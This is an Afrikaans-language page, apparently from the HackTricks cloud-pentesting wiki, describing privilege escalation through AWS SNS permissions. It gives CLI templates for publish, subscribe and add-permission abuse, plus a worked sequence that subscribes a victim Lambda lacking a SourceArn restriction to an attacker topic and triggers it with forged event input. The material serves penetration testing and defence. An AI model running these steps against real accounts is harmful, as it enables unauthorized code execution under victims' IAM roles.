# AWS - SNS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SNS

Vir meer inligting sien:

{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}

### `sns:Publish`

'n aanvaller kan skadelike of ongewenste boodskappe na die SNS-topic stuur, wat moontlik databeskadiging veroorsaak, onbedoelde aksies uitlok, of hulpbronne uitput.
```bash
aws sns publish --topic-arn <value> --message <value>
```
**Potensiële impak**: Uitbuiting van kwesbaarhede, data-korrupsie, onbedoelde handelinge, of uitputting van hulpbronne.

### `sns:Subscribe`

'n aanvaller kan op 'n SNS-onderwerp inteken, waardeur hy moontlik ongemagtigde toegang tot boodskappe verkry of die normale werking van toepassings wat op die onderwerp staatmaak, ontwrig.
```bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
```
**Potensiële impak**: Ongemagtigde toegang tot boodskappe (sensitiewe inligting), diensonderbreking vir toepassings wat afhanklik is van die betrokke topic.

### `sns:AddPermission`

’n Aanvaller kan ongemagtigde gebruikers of dienste toegang tot ’n SNS topic verleen, wat moontlik verdere regte kan oplewer.
```bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```
**Potensiële impak**: Ongemagtigde toegang tot die topic, blootstelling van boodskappe, of manipulasie van die topic deur ongemagtigde gebruikers of dienste, ontwrigting van normale werking vir toepassings wat op die topic staatmaak.


### Roep 'n Lambda aan deur wildcard SNS-magtiging te misbruik (geen `SourceArn`)

As 'n Lambda-funksie se resource-based policy toelaat dat `sns.amazonaws.com` dit aanroep sonder om die bron-topic (`SourceArn`) te beperk, kan enige SNS-topic (selfs in 'n ander account) inteken en die funksie trigger. 'n Aanvaller met basiese SNS-permissies kan die Lambda dwing om uit te voer onder sy IAM-rol met aanvallersbeheerde invoer.

> [!TIP]
> TODO: Kan dit regtig cross-account gedoen word?

Voorvereistes
- Slagoffer se Lambda-policy bevat 'n stelling soos hieronder, met GEEN `SourceArn`-voorwaarde:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
```
Misbruikstappe (dieselfde of cross-account)
```bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
```
**Potential Impact**: Die slagoffer Lambda word uitgevoer met sy IAM role en verwerk invoer wat deur die aanvaller beheer word. Dit kan misbruik word om die funksie gevoelige aksies te laat uitvoer (bv., skryf na S3, toegang tot secrets, wysig hulpbronne), afhangende van sy toestemmings.

{{#include ../../../../banners/hacktricks-training.md}}
